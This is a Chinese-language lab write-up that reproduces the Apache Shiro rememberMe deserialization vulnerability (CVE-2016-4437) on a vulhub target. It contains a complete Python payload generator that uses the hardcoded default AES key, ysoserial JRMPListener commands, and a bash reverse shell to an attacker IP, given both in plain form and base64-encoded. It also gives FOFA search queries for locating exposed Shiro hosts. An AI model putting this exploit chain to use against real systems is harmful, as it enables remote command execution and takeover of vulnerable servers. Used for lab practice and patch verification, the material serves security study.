0X00-引言
服從讓我們撐過白天,而投入才能讓我們撐過夜晚。------丹尼爾·平克《驅動力 3.0》
0X01-環境搭建
靶機:CentOS Linux 7
攻擊機:windows server 2016 && Kail
環境:vulhub
工具:ysoserial,burpsuite,LiqunKit
項目地址:https://github.com/vulhub/vulhub
搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)
fofa語法:
header="rememberme=deleteMe"、header="shiroCookie"
0X02-漏洞描述
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
shiro默認使用CookieRememberMeManager,對rememberMe的cookie做了加密處理,在CookieRememberMeManaer類中將cookie中rememberMe字段內容先后進行序列化、AES加密、Base64編碼操作。在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序可以推斷出解密的順序為獲取cookie-base64解碼-AES解密-反序列化。
AES加密的KEY值被硬編碼在代碼中,可以從源碼中找到KEY值。攻擊者可以構造惡意代碼,將其序列化-AES加密-base64編碼,最后作為cookie值得rememberMe字段發送,shiro將接收到的rememberMe字段進行解碼-解密-反序列化,如果成功,則執行惡意代碼,構成攻擊。
影響版本:Apache Shiro <= 1.2.4
0X03-工具下載
01-安裝mvn命令
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz #下載maven安裝包
tar -zxvf apache-maven-3.5.4-bin.tar.gz #解壓maven安裝包
mv apache-maven-3.5.4 /usr/local/ #移動到usr下local目錄
配置環境變量,在底部添加如下配置
vim /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.5.4
export PATH=${PATH}:$MAVEN_HOME/bin
重新加載環境變量
source /etc/profile
可能會生成一個新終端,如圖,
檢查是否安裝成功
mvn -v
終端不要關閉,先保持不動
02-安裝ysoserial工具
另起一個新終端
mkdir Apacheshiro #創建新目錄
git clone https://github.com/frohoff/ysoserial.git #下載ysoserial
在上一個終端里進入ysoserial文件夾
執行以下命令-等待結束
mvn package -D skipTests
生成工具
03-准備shiro.py
將shiro.py與生成的工具放在同一目錄下
shiro.py源碼:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES #pip install pycryptodome
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
0X04-漏洞復現
http://192.168.234.128:8080/doLogin
01-查看是否存在shiro反序列化漏洞
burp抓包-repeater發包-看回顯-響應頭存在rememberMe字段-存在shiro反序列化漏洞
02-准備好反彈shell的命令
反彈shell命令:bash -i >& /dev/tcp/192.168.234.135/12345 0>&1
加密網址:https://www.jackson-t.ca/runtime-exec-payloads.html
加密之后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
03-kali執行命令
在生成工具與shiro.py所在的目錄下執行
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}’
注意反彈shell命令的單引號。需要在kali中重新輸入單引號
執行腳本
python shiro.py 192.168.234.135:1234#192.168.234.135為攻擊機IP#1234為ysoserial-0.0.6-SNAPSHOT-all.jar工具監聽的端口,與反彈shell的命令端口不同,我的工具監聽與nc反彈shell在同一台kali機器
生成poyload
04-反彈shell
kali另起已終端,打開nc監聽
burp抓包-repeater修改
發送
ysoserial工具監聽到信息-已上傳至服務器
但是nc沒有反彈shell-不知道原因
05-直接進入容器執行反彈shell命令
容器內執行發現可以回彈shell正常。對比之下我也找不到上面反彈shell失敗的原因😯
0X05-工具利用
工具地址:https://github.com/Liqunkit/LiqunKit_
01-反彈shell
成功
還是工具好用,手動復現半天,工具一分鍾反彈shell,淦😂
0X06-參考
Apache Shiro反序列化漏洞復現並利用(CVE-2016-4437)
Apache Shiro 反序列化(CVE-2016-4437)復現
linux 安裝 maven 、解決:bash: mvn: command not found
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)復現